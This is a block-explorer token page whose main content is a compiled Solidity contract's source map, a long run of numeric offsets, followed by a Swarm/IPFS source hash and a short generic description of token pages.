;;:37;;;3752:14;-1:-1:-1;;;;;3744:22:0;:4;-1:-1:-1;;;;;3744:22:0;;3729:37;:61;;;;3776:14;-1:-1:-1;;;;;3770:20:0;:2;-1:-1:-1;;;;;3770:20:0;;3729:61;3721:70;;;;;;-1:-1:-1;;;;;3804:15:0;;;;;;:9;:15;;;;;:25;;3823:6;;3804:15;:25;;3823:6;;3804:25;:::i;:::-;;;;-1:-1:-1;;3852:4:0;;-1:-1:-1;;;;;3846:10:0;;;3852:4;;3846:10;:23;;;;-1:-1:-1;3861:8:0;;-1:-1:-1;;;3861:8:0;;;;3860:9;3846:23;:65;;;;-1:-1:-1;816:3:0;601:12;540:2;601;:12;:::i;:::-;587:26;;:11;:26;:::i;:::-;802:17;;;;:::i;:::-;3891:4;3873:24;;;;:9;:24;;;;;;:38;;3846:65;:91;;;;;3923:14;-1:-1:-1;;;;;3915:22:0;:4;-1:-1:-1;;;;;3915:22:0;;;3846:91;3842:661;;;3954:8;:15;;-1:-1:-1;;;;3954:15:0;-1:-1:-1;;;3954:15:0;;;4008:16;;;4022:1;4008:16;;;;;;;;-1:-1:-1;;4008:16:0;;;;;;;;;;-1:-1:-1;4008:16:0;3984:40;;4057:4;4039;4044:1;4039:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;4039:23:0;;;-1:-1:-1;;;;;4039:23:0;;;;;1278:42;-1:-1:-1;;;;;4087:21:0;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4077:4;4082:1;4077:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;4077:33:0;;;:7;;;;;;;;;;;:33;1278:42;4125:88;816:3;601:12;540:2;601;:12;:::i;:::-;587:26;;:11;:26;:::i;:::-;802:17;;;;:::i;:::-;4269:1;4293:4;4328;4356:15;4125:265;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;4405:55:0;;-1:-1:-1;;;;;4405:32:0;;;-1:-1:-1;4438:21:0;4405:55;;;;;-1:-1:-1;4438:21:0;4405:55;;;;4438:21;4405:32;:55;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;4475:8:0;:16;;-1:-1:-1;;;;4475:16:0;;;3842:661;4558:9;:18;;-1:-1:-1;;;4558:18:0;;;;;-1:-1:-1;;;4578:19:0;;;-1:-1:-1;;;;;4613:21:0;;4629:4;4613:21;;;;:44;;-1:-1:-1;4638:11:0;;-1:-1:-1;;;4638:11:0;;;;:19;;4653:4;4638:19;4613:44;4609:288;;;4738:4;;4674:27;;4776:3;;-1:-1:-1;;;;;4732:10:0;;;4738:4;;4732:10;:39;;4760:11;4732:39;;;4745:12;4732:39;4705:67;;;;:6;:67;:::i;:::-;4704:75;;;;:::i;:::-;4674:105;-1:-1:-1;4794:29:0;4674:105;4794:29;;:::i;:::-;4856:4;4838:24;;;;:9;:24;;;;;:47;;4794:29;;-1:-1:-1;4866:19:0;;4838:24;;;:47;;4866:19;;4838:47;:::i;:::-;;;;-1:-1:-1;;;4609:288:0;-1:-1:-1;;;;;4907:13:0;;;;;;:9;:13;;;;;:23;;4924:6;;4907:13;:23;;4924:6;;4907:23;:::i;:::-;;;;;;;;4961:2;-1:-1:-1;;;;;4946:26:0;4955:4;-1:-1:-1;;;;;4946:26:0;;4965:6;4946:26;;;;1361:25:1;;1349:2;1334:18;;1215:177;4946:26:0;;;;;;;;-1:-1:-1;4990:4:0;;3520:1482;-1:-1:-1;;;;;;3520:1482:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2411:156::-;2477:20;;2537:4;2526:16;;2516:27;;2506:55;;2557:1;2554;2547:12;2506:55;2411:156;;;:::o;2572:252::-;2636:6;2644;2697:2;2685:9;2676:7;2672:23;2668:32;2665:52;;;2713:1;2710;2703:12;2665:52;2736:27;2753:9;2736:27;:::i;:::-;2726:37;;2782:36;2814:2;2803:9;2799:18;2782:36;:::i;:::-;2772:46;;2572:252;;;;;:::o;2829:247::-;2888:6;2941:2;2929:9;2920:7;2916:23;2912:32;2909:52;;;2957:1;2954;2947:12;2909:52;2996:9;2983:23;3015:31;3040:5;3015:31;:::i;3289:388::-;3357:6;3365;3418:2;3406:9;3397:7;3393:23;3389:32;3386:52;;;3434:1;3431;3424:12;3386:52;3473:9;3460:23;3492:31;3517:5;3492:31;:::i;:::-;3542:5;-1:-1:-1;3599:2:1;3584:18;;3571:32;3612:33;3571:32;3612:33;:::i;:::-;3664:7;3654:17;;;3289:388;;;;;:::o;3682:380::-;3761:1;3757:12;;;;3804;;;3825:61;;3879:4;3871:6;3867:17;3857:27;;3825:61;3932:2;3924:6;3921:14;3901:18;3898:38;3895:161;;3978:10;3973:3;3969:20;3966:1;3959:31;4013:4;4010:1;4003:15;4041:4;4038:1;4031:15;3895:161;;3682:380;;;:::o;4067:127::-;4128:10;4123:3;4119:20;4116:1;4109:31;4159:4;4156:1;4149:15;4183:4;4180:1;4173:15;4199:422;4288:1;4331:5;4288:1;4345:270;4366:7;4356:8;4353:21;4345:270;;;4425:4;4421:1;4417:6;4413:17;4407:4;4404:27;4401:53;;;4434:18;;:::i;:::-;4484:7;4474:8;4470:22;4467:55;;;4504:16;;;;4467:55;4583:22;;;;4543:15;;;;4345:270;;;4349:3;4199:422;;;;;:::o;4626:806::-;4675:5;4705:8;4695:80;;-1:-1:-1;4746:1:1;4760:5;;4695:80;4794:4;4784:76;;-1:-1:-1;4831:1:1;4845:5;;4784:76;4876:4;4894:1;4889:59;;;;4962:1;4957:130;;;;4869:218;;4889:59;4919:1;4910:10;;4933:5;;;4957:130;4994:3;4984:8;4981:17;4978:43;;;5001:18;;:::i;:::-;-1:-1:-1;;5057:1:1;5043:16;;5072:5;;4869:218;;5171:2;5161:8;5158:16;5152:3;5146:4;5143:13;5139:36;5133:2;5123:8;5120:16;5115:2;5109:4;5106:12;5102:35;5099:77;5096:159;;;-1:-1:-1;5208:19:1;;;5240:5;;5096:159;5287:34;5312:8;5306:4;5287:34;:::i;:::-;5357:6;5353:1;5349:6;5345:19;5336:7;5333:32;5330:58;;;5368:18;;:::i;:::-;5406:20;;4626:806;-1:-1:-1;;;4626:806:1:o;5437:140::-;5495:5;5524:47;5565:4;5555:8;5551:19;5545:4;5524:47;:::i;5582:168::-;5655:9;;;5686;;5703:15;;;5697:22;;5683:37;5673:71;;5724:18;;:::i;5755:128::-;5822:9;;;5843:11;;;5840:37;;;5857:18;;:::i;5888:251::-;5958:6;6011:2;5999:9;5990:7;5986:23;5982:32;5979:52;;;6027:1;6024;6017:12;5979:52;6059:9;6053:16;6078:31;6103:5;6078:31;:::i;6453:217::-;6493:1;6519;6509:132;;6563:10;6558:3;6554:20;6551:1;6544:31;6598:4;6595:1;6588:15;6626:4;6623:1;6616:15;6509:132;-1:-1:-1;6655:9:1;;6453:217::o;6807:127::-;6868:10;6863:3;6859:20;6856:1;6849:31;6899:4;6896:1;6889:15;6923:4;6920:1;6913:15;6939:980;7201:4;7249:3;7238:9;7234:19;7280:6;7269:9;7262:25;7306:2;7344:6;7339:2;7328:9;7324:18;7317:34;7387:3;7382:2;7371:9;7367:18;7360:31;7411:6;7446;7440:13;7477:6;7469;7462:22;7515:3;7504:9;7500:19;7493:26;;7554:2;7546:6;7542:15;7528:29;;7575:1;7585:195;7599:6;7596:1;7593:13;7585:195;;;7664:13;;-1:-1:-1;;;;;7660:39:1;7648:52;;7755:15;;;;7720:12;;;;7696:1;7614:9;7585:195;;;-1:-1:-1;;;;;;;7836:32:1;;;;7831:2;7816:18;;7809:60;-1:-1:-1;;;7900:3:1;7885:19;7878:35;7797:3;6939:980;-1:-1:-1;;;6939:980:1:o;7924:125::-;7989:9;;;8010:10;;;8007:36;;;8023:18;;:::i

Swarm Source

ipfs://9d6926e5541244c522089c333b8fb067f90248226b8f4bc6923f57d42e5a68ba
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.